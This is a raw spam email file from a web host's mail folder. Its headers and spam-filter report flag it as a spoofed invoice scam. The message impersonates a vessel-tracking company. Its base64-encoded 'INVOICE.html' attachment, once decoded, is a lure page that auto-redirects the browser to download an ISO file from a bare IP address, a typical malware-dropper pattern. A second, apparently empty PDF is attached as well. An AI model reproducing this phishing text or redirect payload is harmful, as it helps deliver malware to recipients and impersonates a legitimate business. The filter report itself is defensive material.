| Current File : /home/itiffy/mail/.spam/cur/1658191458.M336965P586172.premium224.web-hosting.com,S=6285,W=6408:2, |
Return-Path: <tyconequipment@gmail.com>
Delivered-To: itiffy+spam@premium224.web-hosting.com
Received: from premium224.web-hosting.com
by premium224.web-hosting.com with LMTP
id 4LTFE2L+1WK88QgA1L5CYA
(envelope-from <tyconequipment@gmail.com>)
for <itiffy+spam@premium224.web-hosting.com>; Mon, 18 Jul 2022 20:44:18 -0400
Return-path: <tyconequipment@gmail.com>
Envelope-to: info@itiffy.com
Delivery-date: Mon, 18 Jul 2022 20:44:18 -0400
Received: from [185.222.57.247] (port=65013 helo=host.mm-online.ga)
by premium224.web-hosting.com with esmtp (Exim 4.95)
(envelope-from <tyconequipment@gmail.com>)
id 1oDbLQ-002VVV-OA
for info@itiffy.com;
Mon, 18 Jul 2022 20:44:18 -0400
From: tyconequipment@gmail.com
To: info@itiffy.com
Date: 19 Jul 2022 02:43:16 +0200
Message-ID: <20220719024316.CC835CBB8E48DE08@gmail.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0012_C90ED8C5.5DD6DE65"
X-Spam-Status: Yes, score=12.0
X-Spam-Score: 120
X-Spam-Bar: ++++++++++++
X-Spam-Report: Spam detection software, running on the system "premium224.web-hosting.com",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Dear Customer, Please find attached your daily vessels list
report. If you have any questions or require any further information please
feel free to get in contact with us.
Content analysis details: (12.0 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
1.2 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?185.222.57.247>]
0.0 DKIM_ADSP_CUSTOM_MED No valid author signature, adsp_override is
CUSTOM_MED
1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)
0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail
provider
[tyconequipment[at]gmail.com]
1.3 RCVD_IN_VALIDITY_RPBL RBL: Relay in Validity RPBL,
https://senderscore.org/blocklistlookup/
[185.222.57.247 listed in bl.score.senderscore.com]
1.0 FORGED_GMAIL_RCVD 'From' gmail.com does not match 'Received'
headers
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
1.5 KAM_HTMLINVOICE BODY: Invoice scam
0.0 HTML_MESSAGE BODY: HTML included in message
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
2.0 RDNS_NONE Delivered to internal network by a host with no rDNS
0.0 T_HTML_ATTACH HTML attachment to bypass scanning?
0.2 KAM_DMARC_NONE DKIM has Failed or SPF has failed on the message
and the domain has no DMARC policy
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
0.0 SPOOFED_FREEMAIL_NO_RDNS From SPOOFED_FREEMAIL and no rDNS
1.2 NML_ADSP_CUSTOM_MED ADSP custom_med hit, and not from a mailing
list
1.4 SPOOFED_FREEMAIL No description available.
0.0 SPOOF_GMAIL_MID From Gmail but it doesn't seem to be...
0.0 T_FREEMAIL_DOC_PDF MS document or PDF attachment, from freemail
X-Spam-Flag: YES
Subject: ***SPAM*** INVOICE#008765
This is a multi-part message in MIME format.
------=_NextPart_000_0012_C90ED8C5.5DD6DE65
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;"><p>Dear Customer,<br><br><br><br></p><p>Plea=
se find attached your daily vessels list report.<br><br><br><br></p><p>If y=
ou have any questions or require any further information please feel free t=
o get in contact with us.<br><br><br><br><br></p><p>Kind regards,<br>Your' =
Vesseltracker team.<br><br><br>telephone : +49-(0)40-970786-10 (Monday to F=
riday 10.00-18.00 CET)<br>fax : +49-(0)40-970786-11<br><a href=3D"mailto:ty=
conequipment@gmail.com">tyconequipment@gmail.com</a>
</p></body></html>
------=_NextPart_000_0012_C90ED8C5.5DD6DE65
Content-Type: application/pdf; name="09876560098.pdf"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="09876560098.pdf"
JVBERi0xLjcKCjQgMCBvYmoKPDwKL0ZpbHRlciAvRmxhdGVEZWNvZGUKL0xlbmd0aCA4OAo+
PgpzdHJlYW0KeJwz0DM3NQACBQM9AwNUhi6mnIWJoZ6lkYGBiYlCci5XIZchTAKTUZTOhWlk
Lpe5pbGeuZmBgSGSaA6yqKGhkZGeKZBtagmUgKtBFc7gSuMK5AIAKlkj9QplbmRzdHJlYW0K
ZW5kb2JqCjUgMCBvYmoKPDwKPj4KZW5kb2JqCjMgMCBvYmoKPDwKL0NvbnRlbnRzIFsgNCAw
IFIgXQovQ3JvcEJveCBbIDAuMCAwLjAgNTk1LjMyMDAxIDg0MS45MjAwNCBdCi9NZWRpYUJv
eCBbIDAuMCAwLjAgNTk1LjMyMDAxIDg0MS45MjAwNCBdCi9QYXJlbnQgMiAwIFIKL1Jlc291
cmNlcyA1IDAgUgovUm90YXRlIDAKL1R5cGUgL1BhZ2UKPj4KZW5kb2JqCjIgMCBvYmoKPDwK
L0NvdW50IDEKL0tpZHMgWyAzIDAgUiBdCi9UeXBlIC9QYWdlcwo+PgplbmRvYmoKMSAwIG9i
ago8PAovUGFnZXMgMiAwIFIKL1R5cGUgL0NhdGFsb2cKPj4KZW5kb2JqCjYgMCBvYmoKPDwK
L0F1dGhvciAobHVuZWwpCi9DcmVhdGlvbkRhdGUgKEQ6MjAyMjA1MzExNTA1NDQrMDEnMDAn
KQovTW9kRGF0ZSAoRDoyMDIyMDUzMTE1MDU0NCswMScwMCcpCi9Qcm9kdWNlciAoTWljcm9z
b2Z0OiBQcmludCBUbyBQREYpCi9UaXRsZSAoWDpcXEFQUFxcTFVOSUZDMDAuRlJYKQo+Pgpl
bmRvYmoKeHJlZgowIDcNCjAwMDAwMDAwMDAgNjU1MzUgZg0KMDAwMDAwMDQyNSAwMDAwMCBu
DQowMDAwMDAwMzY2IDAwMDAwIG4NCjAwMDAwMDAxODkgMDAwMDAgbg0KMDAwMDAwMDAwOSAw
MDAwMCBuDQowMDAwMDAwMTY4IDAwMDAwIG4NCjAwMDAwMDA0NzQgMDAwMDAgbg0KdHJhaWxl
cgo8PAovSW5mbyA2IDAgUgovUm9vdCAxIDAgUgovU2l6ZSA3Cj4+CnN0YXJ0eHJlZgo2NTQK
JSVFT0YK
------=_NextPart_000_0012_C90ED8C5.5DD6DE65
Content-Type: text/html; name="INVOICE.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="INVOICE.html"
PGh0bWw+DQo8Ym9keT4NCkRvd25sb2FkaW5nIHlvdXIgYXR0YWNobWVudC4uLi4uLg0KPG1l
dGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTt1cmw9aHR0cDovLzE4NS4yMjIu
NTguNDkvZG9jL0RDMTc2NTQzMjM0NTAwMDk2NVAwODczNDU2N1BVVFkuSVNPIj4NCjwvYm9k
eT4NCjwvaHRtbD4NCg0KDQo=
------=_NextPart_000_0012_C90ED8C5.5DD6DE65--